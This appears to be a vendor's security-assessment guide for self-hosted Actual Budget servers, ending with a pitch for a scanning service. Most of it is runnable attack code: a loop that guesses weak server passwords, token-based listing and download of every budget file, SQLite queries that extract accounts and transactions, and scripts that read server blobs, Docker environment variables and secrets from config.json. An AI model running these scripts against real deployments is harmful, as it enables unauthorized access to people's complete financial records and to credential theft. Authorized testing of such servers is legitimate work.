Actual Budget is a widely deployed self-hosted personal finance and budgeting application — it stores complete personal financial transaction history in SQLite databases that sync to the server. Key assessment areas: the server uses a single shared password to protect access to all budget files with no per-user isolation by default; weak or default passwords expose complete personal financial data; authenticated sessions can download any budget file as a blob; and the server file system stores SQLite databases with full financial history. This guide covers systematic Actual Budget security assessment.
# Actual Budget — server password testing and session establishment
ACTUAL_URL="http://budget.example.com:5006"
# Test common weak server passwords
# Actual Budget uses a single server password — no usernames
for PASS in "actualbudget" "budget" "password" "actual" "" "1234"; do
RESULT=$(curl -s -X POST "${ACTUAL_URL}/account/login" \
-H "Content-Type: application/json" \
-d "{\"loginMethod\":\"password\",\"password\":\"${PASS}\"}" 2>/dev/null)
echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
status = d.get('status','')
data = d.get('data',{})
if status == 'ok' or data.get('token'):
token = data.get('token','')
print(f'SUCCESS password=\"${PASS}\" token={token[:20]}...')
elif 'invalid-password' in str(d) or 'wrong' in str(d).lower():
print(f'FAIL: invalid password')
else:
print(f'Response: {str(d)[:80]}')
" 2>/dev/null
done
# With valid token — list all budget files
ACTUAL_TOKEN="your-actual-token"
curl -s "${ACTUAL_URL}/sync/list-user-files" \
-H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d.get('data',[]) if isinstance(d,dict) else d
print(f'Budget files on server: {len(files)}')
for f in files:
print(f' [{f.get(\"fileId\")}] {f.get(\"name\")}')
print(f' group={f.get(\"groupId\")} size={f.get(\"deleted\")}')
" 2>/dev/null
# Actual Budget budget file download and data extraction
ACTUAL_URL="http://budget.example.com:5006"
ACTUAL_TOKEN="your-actual-token"
FILE_ID="your-budget-file-id"
# Download complete budget blob
curl -s "${ACTUAL_URL}/sync/${FILE_ID}/download" \
-H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" \
-o /tmp/budget.blob 2>/dev/null
ls -la /tmp/budget.blob
# Budget blob is an encrypted SQLite database — key derived from client-side password
# If no encryption password is set, it's an unencrypted SQLite file
# Check if blob is SQLite (unencrypted)
file /tmp/budget.blob 2>/dev/null
sqlite3 /tmp/budget.blob ".tables" 2>/dev/null
# If SQLite tables visible — budget is NOT encrypted
# Extract financial data if unencrypted
sqlite3 /tmp/budget.blob 2>/dev/null << 'EOF'
-- All accounts
SELECT id, name, type, offbudget, closed,
balance_current,
balance_payment
FROM accounts
WHERE tombstone = 0
ORDER BY sort_order;
EOF
sqlite3 /tmp/budget.blob 2>/dev/null << 'EOF'
-- All transactions
SELECT t.id,
a.name as account,
t.date, t.amount,
t.notes,
p.name as payee,
ca.name as category,
t.cleared
FROM transactions t
LEFT JOIN accounts a ON t.acct = a.id
LEFT JOIN payees p ON t.description = p.id
LEFT JOIN categories ca ON t.category = ca.id
WHERE t.tombstone = 0
ORDER BY t.date DESC
LIMIT 30;
EOF
-- amount in cents — divide by 100 for dollar amount
# Get sync messages (transaction history delta)
curl -s "${ACTUAL_URL}/sync/sync" \
-H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"fileId\":\"${FILE_ID}\",\"since\":\"0\",\"clientId\":\"test\"}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('data',{}).get('messages',[])
print(f'Sync messages: {len(msgs)}')
" 2>/dev/null
# Actual Budget server file system and SQLite analysis
# Server files directory
ls /data/server-files/ 2>/dev/null | head -20
# Files are stored as UUIDs
# Each UUID directory contains .blob files (budget snapshots)
# Server metadata
ls /data/server-files/ 2>/dev/null | while read UUID; do
[ -d "/data/server-files/${UUID}" ] && {
echo "Budget: ${UUID}"
ls -lh /data/server-files/${UUID}/ 2>/dev/null | head -3
# Check if .blob file is SQLite
BLOB=$(ls /data/server-files/${UUID}/*.blob 2>/dev/null | tail -1)
[ -n "$BLOB" ] && {
TYPE=$(file "$BLOB" 2>/dev/null)
echo " Type: $TYPE"
# If SQLite — extract immediately
sqlite3 "$BLOB" ".tables" 2>/dev/null && echo " UNENCRYPTED SQLite!"
}
}
done
# Docker environment configuration
docker inspect actual-budget 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
print(e)
# Volume mounts
mounts = c.get('Mounts',[])
for m in mounts:
print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null
# Config file
cat /data/config.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Contains server configuration
for k, v in d.items():
if any(x in k.lower() for x in ['password','secret','token','key']):
print(f'{k}: {v}')
else:
print(f'{k}: {str(v)[:60]}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Server password brute force | POST /account/login with weak passwords (actualbudget, budget, password) — single password grants access to all budget files on the server; no per-user isolation; complete financial data exposure for all users | High |
| Budget file list enumeration | GET /sync/list-user-files — all budget files stored on the server; reveals how many users have budgets and budget file IDs for targeted download | High |
| Budget blob download and SQLite extraction | GET /sync/{fileId}/download — download complete budget snapshot; if not encrypted, it is a readable SQLite database with complete transaction history, account names, and financial data | Critical |
| Server-files directory SQLite blob access | Read /data/server-files/{uuid}/*.blob — all budget files directly from file system; unencrypted blobs contain complete financial data; encrypted blobs require client-side decryption key | High |
| OpenID misconfiguration assessment | Check OPENID_DISCOVERY_URL configuration — if using OpenID Connect auth mode, test for misconfigured provider allowing unauthorized user creation or bypass of authentication | Medium |
Ironimo tests Actual Budget deployments for server password brute force (actualbudget, budget, password defaults), budget file list enumeration, budget blob download and SQLite content extraction, server-files directory unencrypted SQLite blob identification, OpenID Connect misconfiguration assessment, Docker volume mount server-files directory access, config.json credential exposure, sync protocol unauthorized download detection, budget encryption status assessment, and multi-user shared access boundary testing.
Start free scan